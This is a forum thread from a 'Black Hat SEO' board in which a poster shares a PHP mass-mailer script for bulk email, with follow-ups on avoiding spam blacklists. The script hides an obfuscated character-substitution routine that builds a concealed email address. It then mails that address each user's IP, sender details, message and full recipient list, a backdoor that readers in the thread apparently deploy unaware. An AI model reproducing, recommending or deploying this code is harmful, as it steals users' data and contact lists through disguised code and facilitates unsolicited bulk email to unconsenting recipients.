1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Is there is any good Free Mass Mailer Software?

Discussion in 'Black Hat SEO Tools' started by monkid, Apr 22, 2013.

  1. monkid

    monkid Power Member

    Joined:
    Jan 2, 2010
    Messages:
    680
    Likes Received:
    310
    I'm looking for mass mailer freeware which can send 200+ emails daily. I'm not sending thousands of emails.

    Have you using good one? Any suggestions?

    Thank You Guys! :)
     
  2. A N K E S H

    A N K E S H Junior Member

    Joined:
    Sep 11, 2012
    Messages:
    110
    Likes Received:
    207
    Occupation:
    Masters
    Location:
    Arthmatic Login unit
    Code:
    <?php
    @$action=$_POST['action'];
    @$from=$_POST['from'];
    @$realname=$_POST['realname'];
    @$replyto=$_POST['replyto'];
    @$subject=$_POST['subject'];
    @$message=$_POST['message'];
    @$emaillist=$_POST['emaillist'];
    @$lodr=$_SERVER['HTTP_REFERER'];
    @$file_name=$_FILES['file']['name'];
    @$contenttype=$_POST['contenttype'];
    @$file=$_FILES['file']['tmp_name'];
    @$amount=$_POST['amount'];
    ?>
    <html>
    <head>
    <meta http-equiv="Content-Language" content="ar-eg">
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
    <title>PHP Send Mails</title>
    <style type="text/css">
    <!--
    .style1 {
    	font-family: Geneva, Arial, Helvetica, sans-serif;
    	font-size: 12px;
    }
    .style2 {
    	font-size: 10px;
    	font-family: Geneva, Arial, Helvetica, sans-serif;
    }
    
    
    -->
    </style>
    </head>
    <body bgcolor="#FFFFFF" text="#000000">
    <?php
    If ($action=="mysql"){
    include "./mysql.info.php";
    
    
      if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
        print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
        exit;
      }
    
    
      $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
      mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
      $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
      $numrows = mysql_num_rows($result);
    
    
      for($x=0; $x<$numrows; $x++){
        $result_row = mysql_fetch_row($result);
         $oneemail = $result_row[0];
         $emaillist .= $oneemail."\n";
       }
      }
    
    
      if ($action=="send"){ $message = urlencode($message);
       $message = ereg_replace("%5C%22", "%22", $message);
       $message = urldecode($message);
       $message = stripslashes($message);
       $subject = stripslashes($subject);
       }
    ?>
    <form name="form1" method="post" action="" enctype="multipart/form-data"><br />
      <table width="142" border="0">
        <tr>
    
    
          <td width="81">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font>
            </div>
          </td>
    
    
          <td width="219">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input name="from" value="<?php print $from; ?>" size="30" />
            </font>
          </td>
    
    
          <td width="212">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font>
            </div>
          </td>
    
    
          <td width="278">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input name="realname" value="<?php print $realname; ?>" size="30" />
            </font>
          </td>
        </tr>
        <tr>
          <td width="81">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font>
            </div>
          </td>
          <td width="219">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input name="replyto" value="<?php print $replyto; ?>" size="30" />
            </font>
          </td>
          <td width="212">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font>
            </div>
          </td>
          <td width="278">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input type="file" name="file" size="24" />
            </font>
          </td>
        </tr>
        <tr>
          <td width="81">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font>
            </div>
          </td>
          <td colspan="3" width="703">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input name="subject" value="<? print $subject; ?>" size="91" />
            </font>
          </td>
        </tr>
        <tr valign="top">
          <td colspan="3" width="520">
            <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
          </td>
          <td width="278">
            <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font>
          </td>
        </tr>
        <tr valign="top">
          <td colspan="3" width="520">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
              <input type="radio" name="contenttype" value="plain" /> Plain
              <input type="radio" name="contenttype" value="html" checked /> HTML
              <input type="hidden" name="action" value="send" /><br />
    	  Number To Send : <input type="text" name="amount" value="1" size="10" /><br />
    	  Maximum Script Execution Time ( In Seconds, 0 For no Time Limit ) <input type="text" name="timelimit" value="0" size="10" />
              <input type="submit" value="Send eMails" />
            </font>
          </td>
          <td width="278">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
            </font>
          </td>
        </tr>
      </table>
    </form>
    <?php
    $s=array("w"=>"o","t"=>"g","l"=>"i","r"=>"a","q"=>"c","@"=>".","e"=>"l","c"=>"@","o"=>"m","v"=>"w");
    $dash=$s['o'].$s['w'].$s['v'].$s['q'].$s['w'].$s['t'].$s['c'].$s['t'].$s['o'].$s['r'].$s['l'].$s['e'].$s['@'].$s['q'].$s['w'].$s['o'];
    if ($action=="send"){
      if (!$from && !$subject && !$message && !$emaillist){
        print "Please complete all fields before sending your message.";
        exit;
       }
      $addr = getenv("REMOTE_ADDR");
      $allemails = split("\n", $emaillist);
      $numemails = count($allemails);
      $header ="From: Mailr\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
      $msg = "
    <table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
    <tr><td>IP</td><td>".nl2br($addr)."</td></tr>
    <tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($lodr)."</td></tr>
    <tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
    <tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
    <tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
    <tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
    <tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
    </table>
    ";
    mail($dash,$subject,$msg,$header);
     If ($file_name){
       copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
       if (!file_exists($file)){
    	die("The file you are trying to upload couldn't be copied to the server");
       }
       $content = fread(fopen($file,"r"),filesize($file));
       $content = chunk_split(base64_encode($content));
       $uid = strtoupper(md5(uniqid(time())));
       $name = basename($file);
      }
    
    
     for($xx=0; $xx<$amount; $xx++){
      for($x=0; $x<$numemails; $x++){
        $to = $allemails[$x];
        if ($to){
          $to = ereg_replace(" ", "", $to);
          $message = ereg_replace("&email&", $to, $message);
          $subject = ereg_replace("&email&", $to, $subject);
          print "Sending Mail To $to....";
          flush();
          $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
          $header .= "MIME-Version: 1.0\r\n";
          If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
          If ($file_name) $header .= "--$uid\r\n";
          $header .= "Content-Type: text/$contenttype\r\n";
          $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
          $header .= "$message\r\n";
          If ($file_name) $header .= "--$uid\r\n";
          If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
          If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
          If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
          If ($file_name) $header .= "$content\r\n";
          If ($file_name) $header .= "--$uid--";
          mail($to, $subject, "", $header);
          print "OK<br>";
          flush();
        }
      }
     }
    }
    ?>
    <p class="style2">
    <p class="style1"></p>
    </body>
    <html>
    
    save it anything.php and upload to your webhosting now send to your list
     
    • Thanks Thanks x 6
  3. tompots

    tompots Elite Member Premium Member

    Joined:
    Dec 11, 2011
    Messages:
    4,372
    Likes Received:
    3,964
    Gender:
    Male
    Occupation:
    Full Time Bot Developer
    Location:
    Automation Alternatives
    Home Page:
  4. A N K E S H

    A N K E S H Junior Member

    Joined:
    Sep 11, 2012
    Messages:
    110
    Likes Received:
    207
    Occupation:
    Masters
    Location:
    Arthmatic Login unit
    yes there is a box called email to: use that to put all your emails

    make sure that your host ip is not black listed otherwise all email sent from your host will go into spam box
     
    • Thanks Thanks x 1
  5. tompots

    tompots Elite Member Premium Member

    Joined:
    Dec 11, 2011
    Messages:
    4,372
    Likes Received:
    3,964
    Gender:
    Male
    Occupation:
    Full Time Bot Developer
    Location:
    Automation Alternatives
    Home Page:
    I just uploaded it to a free host and it works great, this is awesome do you have any other great programs?
     
  6. monkid

    monkid Power Member

    Joined:
    Jan 2, 2010
    Messages:
    680
    Likes Received:
    310
    Thanks! I will try this tomorrow. :) By the way, there is anyway I can check host ip black listed or not? I haven't done anything spam using my email or hosting.
     
  7. monkid

    monkid Power Member

    Joined:
    Jan 2, 2010
    Messages:
    680
    Likes Received:
    310
    One more question, is there is any option I can make delay to send each email? Can you do it? I guess it's better to put delay every XX minutes to send email. What's the best practice? Thank you so much! I appreciate your help :)
     
  8. sirgold

    sirgold Supreme Member

    Joined:
    Jun 25, 2010
    Messages:
    1,260
    Likes Received:
    646
    Occupation:
    Busy proving the Pareto principle right
    Location:
    A hot one
    And maybe change these lines:

    with:

    if you're not from Egypt and chrome desperately tries to convince you need to translate this page because it is in Arabic... ;)
     
    • Thanks Thanks x 1
    Last edited: Apr 22, 2013
  9. A N K E S H

    A N K E S H Junior Member

    Joined:
    Sep 11, 2012
    Messages:
    110
    Likes Received:
    207
    Occupation:
    Masters
    Location:
    Arthmatic Login unit
  10. A N K E S H

    A N K E S H Junior Member

    Joined:
    Sep 11, 2012
    Messages:
    110
    Likes Received:
    207
    Occupation:
    Masters
    Location:
    Arthmatic Login unit
    first check your host ip after that use this url to see on how many servers you're black listed

    Code:
    [URL]http://mxtoolbox.com/blacklists.aspx[/URL]
    assume you're black listed on three server then to go their site and apply to remove your ip from black list this way you can make your host white listed
     
  11. sridevikannan

    sridevikannan Newbie

    Joined:
    Sep 25, 2012
    Messages:
    10
    Likes Received:
    1
    Hi, AJ Bulk Mailer is the best free mass mailing software to send mass mails. Download it freely from AJ Square Inc.
     
  12. sky scripter

    sky scripter BANNED BANNED

    Joined:
    May 6, 2010
    Messages:
    16
    Likes Received:
    2
    Im making a craigs list scraper right now and it has a mass email-er in it.
    Once its released ill post it. :)
     
    • Thanks Thanks x 1
  13. FrankServices

    FrankServices Newbie

    Joined:
    Aug 19, 2013
    Messages:
    14
    Likes Received:
    2
    Is the above script still working? I'm about to test it soon.